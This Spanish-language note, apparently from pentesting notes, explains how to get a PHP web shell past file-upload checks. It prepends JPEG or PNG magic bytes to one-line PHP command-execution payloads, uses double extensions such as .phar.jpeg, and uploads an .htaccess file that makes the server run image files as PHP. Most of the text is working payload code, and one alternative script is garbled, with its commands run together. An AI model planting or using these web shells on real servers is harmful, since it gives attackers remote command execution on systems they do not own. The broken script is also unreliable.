esto se basa en la firma de los archivos, por ejemplo, un archivo .jpg empieza con (en hexadecimal) FF D8 FF E0 00 10 4A 46 49 46 00 01
podemos hacer lo siguiente:
AAAA
<?php echo system($_GET["cmd"]);?>
Lo guardamos como shell.phar.jpeg
Cambiamos el mymetype utilizando hexeditor, poniendo los numeros magicos reemplazando los valores AAAA: FF D8 FF DB
- También para PNG se puede hacer lo siguiente:
```bash
#!/bin/sh
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
echo '<?php system($_REQUEST['cmd']); ?>' >> mime_shell.php.png
Alternativa
#!/bin/bash# Crear el encabezado PNG (opcional si se necesita disfrazar como imagen)echo-ne'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'>mime_shell.php.png
# Agregar el código PHP correctamente escapadoecho'<?php system($_REQUEST["cmd"]); ?>'>>mime_shell.php.png
Se puede intentar subir un archivo .htaccess para ejecutar el archivo php.
SetHandler application/x-httpd-php
AddType application/x-httpd-php .jpg
etc
Esto sirve para ejecutar archivos php en un servidor web que no permite la ejecución de archivos php.
Muchas veces no está correctamente bloqueado el acceso a subir archivos .htaccess, por lo tanto podemos subir un archivo .htaccess y ejecutar el archivo php.